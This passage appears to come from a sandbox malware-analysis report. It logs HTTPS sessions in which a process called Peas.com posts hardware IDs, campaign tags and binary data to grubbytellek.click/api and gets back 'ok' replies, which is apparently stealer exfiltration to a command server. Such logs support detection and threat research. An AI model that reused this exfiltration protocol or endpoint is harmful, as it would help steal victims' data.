2025-01-05 18:50:16 UTC	1369	IN	Data Raw: 7a 34 71 2b 71 49 56 78 42 4a 6b 56 46 30 61 52 43 62 75 49 46 38 68 6b 6a 2f 4b 34 36 71 72 49 30 5a 77 36 62 46 30 63 4a 68 45 72 4b 34 75 49 78 51 57 68 7a 62 47 44 4d 37 47 59 33 78 31 44 71 70 51 39 67 32 6e 72 36 78 79 67 47 4c 73 6f 33 62 79 79 4a 4c 39 72 47 6c 68 6c 52 59 47 64 35 58 65 58 55 59 6b 37 79 4a 64 59 52 64 2b 53 69 49 70 36 69 42 44 4d 57 6d 79 64 44 44 61 68 69 38 38 75 54 50 58 45 68 52 69 52 68 49 64 68 47 56 73 70 6f 36 6b 51 48 6f 5a 6f 4b 67 35 39 4a 65 79 61 58 4e 30 38 74 75 47 4c 36 7a 70 6f 46 63 56 52 6a 5a 55 47 39 36 47 70 32 77 67 6e 57 50 53 2f 51 6a 67 61 75 6a 6a 42 47 46 35 59 33 62 33 79 4a 4c 39 70 32 4e 75 68 6c 78 4b 35 46 48 4d 32 4a 65 6b 72 33 4d 49 73 35 44 38 69 71 4e 6f 36 47 44 45 73 2b 69 78 74 44 4d 5a Data Ascii: z4q+qIVxBJkVF0aRCbuIF8hkj/K46qrI0Zw6bF0cJhErK4uIxQWhzbGDM7GY3x1DqpQ9g2nr6xygGLso3byyJL9rGlhlRYGd5XeXUYk7yJdYRd+SiIp6iBDMWmydDDahi88uTPXEhRiRhIdhGVspo6kQHoZoKg59JeyaXN08tuGL6zpoFcVRjZUG96Gp2wgnWPS/QjgaujjBGF5Y3b3yJL9p2NuhlxK5FHM2Jekr3MIs5D8iqNo6GDEs+ixtDMZ
2025-01-05 18:50:16 UTC	1369	IN	Data Raw: 76 67 46 70 52 46 38 4e 66 64 47 6b 51 6d 4c 36 45 63 6f 64 4f 39 53 4f 49 71 71 75 41 48 38 4b 6c 77 39 53 48 4c 46 4f 78 71 75 72 58 47 33 45 42 79 6b 70 72 64 6a 2b 59 76 73 78 6c 77 46 61 78 49 59 6e 73 2f 38 6f 58 31 36 2f 41 7a 73 35 6c 48 62 6d 78 75 49 35 57 57 77 50 57 56 33 6c 38 45 70 4f 2b 69 6e 75 4c 52 66 30 68 67 4b 65 6f 68 6c 36 4c 36 38 72 45 68 7a 70 54 6d 4c 6d 35 6d 46 68 65 47 73 64 44 50 57 52 51 6a 50 47 4c 64 73 34 58 73 53 57 4f 70 36 4f 4b 45 73 57 76 77 4e 7a 56 62 52 53 78 75 36 47 64 55 56 63 57 32 6c 42 32 64 42 69 48 76 59 4a 6f 69 31 33 6a 5a 73 76 73 6f 4a 4a 65 6e 65 76 37 32 39 64 79 45 50 53 44 76 49 78 4e 57 78 7a 64 47 47 49 31 42 39 57 32 67 44 72 57 44 2f 63 70 6a 4b 2b 6f 69 78 66 4a 70 73 6a 56 77 6d 4d 56 73 72 Data Ascii: vgFpRF8NfdGkQmL6EcodO9SOIqquAH8Klw9SHLFOxqurXG3EBykprdj+YvsxlwFaxIYns/8oX16/Azs5lHbmxuI5WWwPWV3l8EpO+inuLRf0hgKeohl6L68rEhzpTmLm5mFheGsdDPWRQjPGLds4XsSWOp6OKEsWvwNzVbRSxu6GdUVcW2lB2dBiHvYJoi13jZsvsoJJenev729dyEPSDvIxNWxzdGGI1B9W2gDrWD/cpjK+oixfJpsjVwmMVsr
2025-01-05 18:50:16 UTC	1369	IN	Data Raw: 53 31 48 4f 46 6d 51 37 47 5a 6e 78 31 44 71 4e 53 50 49 6e 6a 36 57 72 68 52 6e 42 75 63 66 62 31 57 4d 53 76 62 2b 6d 6a 31 5a 64 47 39 42 52 63 48 63 54 6b 72 61 44 66 38 34 42 73 53 47 64 37 50 2f 4b 50 38 69 67 77 59 65 64 49 67 7a 34 71 2b 71 49 56 78 42 4a 6b 56 68 33 66 68 53 59 73 6f 4e 35 6e 45 37 33 4e 49 57 68 72 5a 67 55 7a 71 37 41 30 63 70 68 46 62 43 35 70 70 31 53 55 42 4c 61 47 44 4d 37 47 59 33 78 31 44 71 74 57 4f 63 73 67 71 43 78 67 52 2f 47 76 63 44 4d 68 79 78 54 70 37 57 37 7a 77 4e 47 41 63 5a 66 59 6a 55 48 31 62 61 41 4f 74 59 50 39 79 2b 44 71 36 47 45 44 4d 43 74 77 74 50 4f 61 78 65 2b 73 61 71 4c 58 31 63 55 30 6c 52 32 66 42 32 61 74 59 56 30 68 30 43 78 61 4d 57 72 76 38 70 47 68 59 72 57 33 38 74 76 55 36 6e 38 73 38 39 Data Ascii: S1HOFmQ7GZnx1DqNSPInj6WrhRnBucfb1WMSvb+mj1ZdG9BRcHcTkraDf84BsSGd7P/KP8igwYedIgz4q+qIVxBJkVh3fhSYsoN5nE73NIWhrZgUzq7A0cphFbC5pp1SUBLaGDM7GY3x1DqtWOcsgqCxgR/GvcDMhyxTp7W7zwNGAcZfYjUH1baAOtYP9y+Dq6GEDMCtwtPOaxe+saqLX1cU0lR2fB2atYV0h0CxaMWrv8pGhYrW38tvU6n8s89
2025-01-05 18:50:16 UTC	1369	IN	Data Raw: 6b 41 39 49 31 36 31 75 70 70 2f 69 56 6d 7a 45 34 61 69 71 59 30 49 68 62 54 79 6b 6f 64 6a 55 2b 36 4c 73 38 39 4e 45 45 6d 44 46 6a 31 70 58 73 33 78 79 33 6d 63 58 66 63 6c 6b 36 2f 67 74 43 44 69 76 63 66 62 31 32 55 45 75 66 4c 6b 7a 31 51 51 53 65 67 59 64 48 77 46 68 4b 65 42 61 6f 6b 50 7a 6d 6a 46 74 4f 66 53 58 76 43 6f 77 39 4c 41 64 41 4c 37 6c 62 79 46 58 45 41 57 78 6c 63 39 4e 56 36 54 38 64 51 70 77 41 2f 31 4e 38 58 30 39 39 68 46 6b 50 69 61 6a 4a 56 39 58 61 2f 79 76 4d 38 44 41 6c 2b 52 53 6a 30 6a 58 74 4b 79 6e 6d 69 49 54 4f 63 6c 77 70 4b 5a 72 51 54 49 72 64 72 4e 2b 56 77 55 72 4c 2b 73 6d 45 6f 63 42 4e 4a 57 63 33 77 49 31 66 2f 4d 64 63 34 58 79 47 62 4e 37 4a 6a 45 58 74 33 72 6c 5a 7a 79 59 52 32 34 74 62 79 65 46 6e 63 4c Data Ascii: kA9I161upp/iVmzE4aiqY0IhbTykodjU+6Ls89NEEmDFj1pXs3xy3mcXfclk6/gtCDivcfb12UEufLkz1QQSegYdHwFhKeBaokPzmjFtOfSXvCow9LAdAL7lbyFXEAWxlc9NV6T8dQpwA/1N8X099hFkPiajJV9Xa/yvM8DAl+RSj0jXtKynmiITOclwpKZrQTIrdrN+VwUrL+smEocBNJWc3wI1f/Mdc4XyGbN7JjEXt3rlZzyYR24tbyeFncL
2025-01-05 18:50:16 UTC	1369	IN	Data Raw: 73 4d 31 65 6e 4d 50 59 31 64 34 79 43 47 75 71 54 4e 49 50 75 4d 77 39 76 47 64 41 4f 68 76 5a 53 78 54 6c 4d 66 33 31 39 72 61 6c 37 62 38 59 4d 36 31 6e 61 78 62 73 57 54 36 63 6f 47 68 66 4f 4e 36 63 52 73 48 62 47 6b 75 38 4a 38 58 68 62 51 54 6d 31 73 45 64 58 2f 7a 48 7a 4f 46 36 4e 6f 78 61 69 32 79 6b 61 56 2b 5a 61 4a 6c 44 56 44 35 4b 33 6b 6c 68 74 47 55 59 6b 4b 4d 7a 73 4d 31 65 6e 4d 50 59 31 64 34 79 43 47 75 71 54 4e 49 50 75 4d 77 39 76 47 64 41 4f 68 76 65 57 68 62 58 45 76 37 30 31 2b 64 52 43 53 70 35 30 36 77 41 2f 2b 5a 74 32 56 35 38 4a 65 2b 75 57 4e 78 49 63 36 55 34 4f 78 70 49 46 63 52 67 43 63 66 33 4e 38 48 34 4f 68 6d 33 58 42 59 63 63 48 78 65 4c 6e 6a 46 36 64 2b 59 4f 63 77 33 4e 54 37 75 4c 34 31 41 34 44 52 6f 45 4b 59 Data Ascii: sM1enMPY1d4yCGuqTNIPuMw9vGdAOhvZSxTlMf319ral7b8YM61naxbsWT6coGhfON6cRsHbGku8J8XhbQTm1sEdX/zHzOF6Noxai2ykaV+ZaJlDVD5K3klhtGUYkKMzsM1enMPY1d4yCGuqTNIPuMw9vGdAOhveWhbXEv701+dRCSp506wA/+Zt2V58Je+uWNxIc6U4OxpIFcRgCcf3N8H4Ohm3XBYccHxeLnjF6d+YOcw3NT7uL41A4DRoEKY
2025-01-05 18:50:16 UTC	1369	IN	Data Raw: 70 7a 43 4c 4f 59 75 4d 68 6c 61 2f 6e 78 46 37 4a 36 35 57 63 79 6e 41 55 70 72 48 6d 69 45 46 58 55 63 34 57 5a 44 73 49 31 65 6e 66 4e 4d 35 64 73 58 37 46 36 36 6d 48 48 38 61 6c 7a 73 37 56 5a 42 43 67 73 65 32 78 5a 58 30 44 31 6b 68 2b 4f 53 2b 59 74 5a 70 76 6a 56 2f 32 47 4c 75 42 74 59 30 4f 78 75 6e 68 32 38 70 75 4c 59 69 46 75 34 68 4c 45 6a 66 53 54 6e 34 37 55 4e 57 70 7a 43 4c 4f 59 75 4d 68 6c 61 2f 6c 70 68 6e 49 70 34 33 44 69 58 74 54 6f 50 4c 79 33 42 55 51 41 35 45 41 50 54 77 64 68 36 4f 4b 65 5a 68 4d 74 68 69 37 67 62 57 4e 44 73 62 70 2f 4e 48 44 64 41 61 31 6f 71 32 78 5a 58 30 44 31 6b 68 2b 4f 54 75 76 38 37 31 73 6a 55 2f 2f 49 63 58 69 35 35 4a 65 6e 65 76 67 7a 73 42 79 45 50 53 58 6b 4d 31 71 52 68 4c 52 56 6e 6f 37 55 4e Data Ascii: pzCLOYuMhla/nxF7J65WcynAUprHmiEFXUc4WZDsI1enfNM5dsX7F66mHH8alzs7VZBCgse2xZX0D1kh+OS+YtZpvjV/2GLuBtY0Oxunh28puLYiFu4hLEjfSTn47UNWpzCLOYuMhla/lphnIp43DiXtToPLy3BUQA5EAPTwdh6OKeZhMthi7gbWNDsbp/NHDdAa1oq2xZX0D1kh+OTuv871sjU//IcXi55JenevgzsByEPSXkM1qRhLRVno7UN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	188.114.97.3	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:17 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P42F5MJ95V3H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18128 Host: grubbytellek.click
2025-01-05 18:50:17 UTC	15331	OUT	Data Raw: 2d 2d 50 34 32 46 35 4d 4a 39 35 56 33 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 43 31 38 38 44 44 33 46 45 33 46 32 31 30 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 50 34 32 46 35 4d 4a 39 35 56 33 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 34 32 46 35 4d 4a 39 35 56 33 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 50 34 32 46 35 4d 4a 39 35 56 33 48 0d Data Ascii: --P42F5MJ95V3HContent-Disposition: form-data; name="hwid"91C188DD3FE3F21069AE778FE2799D69--P42F5MJ95V3HContent-Disposition: form-data; name="pid"2--P42F5MJ95V3HContent-Disposition: form-data; name="lid"jMw1IE--psyche--P42F5MJ95V3H
2025-01-05 18:50:17 UTC	2797	OUT	Data Raw: bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2025-01-05 18:50:18 UTC	1131	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9t57khggq9bgdru1i8u7bj5oep; expires=Thu, 01 May 2025 12:36:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VcAaPnc6nLwX9eFY8Ff8VN25ex9mx7tkX9VZls4NKczXnJVATzZNrNSYjAyuVQGaaJXeawrx717f2mv54umzF5P%2BSzD3zpTL6OSQzq58lax3vtxD%2B9uJ%2BmxnqwQv17BgBXnyiMw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a7341c074396-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1614&rtt_var=615&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19086&delivery_rate=1766485&cwnd=252&unsent_bytes=0&cid=59a6d9968610e754&ts=755&x=0"
2025-01-05 18:50:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 18:50:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	188.114.97.3	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:18 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=75EDSWO4ET1Q368 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8767 Host: grubbytellek.click
2025-01-05 18:50:18 UTC	8767	OUT	Data Raw: 2d 2d 37 35 45 44 53 57 4f 34 45 54 31 51 33 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 43 31 38 38 44 44 33 46 45 33 46 32 31 30 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 37 35 45 44 53 57 4f 34 45 54 31 51 33 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 35 45 44 53 57 4f 34 45 54 31 51 33 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 37 35 45 44 Data Ascii: --75EDSWO4ET1Q368Content-Disposition: form-data; name="hwid"91C188DD3FE3F21069AE778FE2799D69--75EDSWO4ET1Q368Content-Disposition: form-data; name="pid"2--75EDSWO4ET1Q368Content-Disposition: form-data; name="lid"jMw1IE--psyche--75ED
2025-01-05 18:50:19 UTC	1125	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ij6eimac2g06m1bq5v6ruqrg8o; expires=Thu, 01 May 2025 12:36:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a7pRyGASv7DoONQSl0YJPPsIWS9RgWe3LmqD1LLlywBLjRtFF9ihd7HTjf7zdyKnIoHMTTuFXcgSRO0fGUzXrB0fUAir4sK7xf2tGvoQr%2FKyE7VsyFHUhT2hcmiKw9oFPNebyec%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a73bca4143f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1597&rtt_var=617&sent=6&recv=13&lost=0&retrans=0&sent_bytes=2843&recv_bytes=9705&delivery_rate=1748502&cwnd=194&unsent_bytes=0&cid=5014e82943af86eb&ts=864&x=0"
2025-01-05 18:50:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 18:50:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	188.114.97.3	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:20 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ENY7OWDPKHNPPC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20414 Host: grubbytellek.click
2025-01-05 18:50:20 UTC	15331	OUT	Data Raw: 2d 2d 45 4e 59 37 4f 57 44 50 4b 48 4e 50 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 43 31 38 38 44 44 33 46 45 33 46 32 31 30 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 45 4e 59 37 4f 57 44 50 4b 48 4e 50 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 4e 59 37 4f 57 44 50 4b 48 4e 50 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 45 4e 59 37 4f 57 44 Data Ascii: --ENY7OWDPKHNPPCContent-Disposition: form-data; name="hwid"91C188DD3FE3F21069AE778FE2799D69--ENY7OWDPKHNPPCContent-Disposition: form-data; name="pid"3--ENY7OWDPKHNPPCContent-Disposition: form-data; name="lid"jMw1IE--psyche--ENY7OWD
2025-01-05 18:50:20 UTC	5083	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2025-01-05 18:50:20 UTC	1141	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=03h0le31npec4jvordk9hfelo7; expires=Thu, 01 May 2025 12:36:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1S5UhRTGL0%2BQL%2BsVjwPJP%2F9so%2BwH5Sy6%2Fk0QK1VFKRjWF7UWLrpX0r0e%2Fgvq6na8F%2BXjKF0rIzOB0EOBkUL0CsWoO1%2BVRadZ0WB67WvE3Sy6WPEb2h0jiqfAVIeJ2t21LK8gdX4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a74469fd7c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1828&min_rtt=1822&rtt_var=696&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21374&delivery_rate=1557333&cwnd=241&unsent_bytes=0&cid=e9de8e1811dc1154&ts=663&x=0"
2025-01-05 18:50:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 18:50:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	188.114.97.3	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:21 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NLMH7VOKRMT8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 945 Host: grubbytellek.click
2025-01-05 18:50:21 UTC	945	OUT	Data Raw: 2d 2d 4e 4c 4d 48 37 56 4f 4b 52 4d 54 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 43 31 38 38 44 44 33 46 45 33 46 32 31 30 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 4e 4c 4d 48 37 56 4f 4b 52 4d 54 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 4c 4d 48 37 56 4f 4b 52 4d 54 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 4e 4c 4d 48 37 56 4f 4b 52 4d 54 38 0d Data Ascii: --NLMH7VOKRMT8Content-Disposition: form-data; name="hwid"91C188DD3FE3F21069AE778FE2799D69--NLMH7VOKRMT8Content-Disposition: form-data; name="pid"1--NLMH7VOKRMT8Content-Disposition: form-data; name="lid"jMw1IE--psyche--NLMH7VOKRMT8
2025-01-05 18:50:22 UTC	1125	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=soav23sl6miepkfl8u9rknaivv; expires=Thu, 01 May 2025 12:37:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yNJXo2utXKTTQB2IVnlxGj%2FTXIFqTNxIPzqFQXV9beNRcZa9VAMf2v8pPKT73zuXlRiH3NEGw35nmciFKLnFKq0bfxYTZMaV%2BLLk7Hd91zo24wqyaRZaEzPZEXVtwdq8mHI8cNk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a74cbefe43c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1617&min_rtt=1609&rtt_var=620&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1857&delivery_rate=1742243&cwnd=32&unsent_bytes=0&cid=ddb7bbac8c3488ff&ts=789&x=0"
2025-01-05 18:50:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 18:50:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	188.114.97.3	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:22 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8VPPJ2DRBE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1080 Host: grubbytellek.click
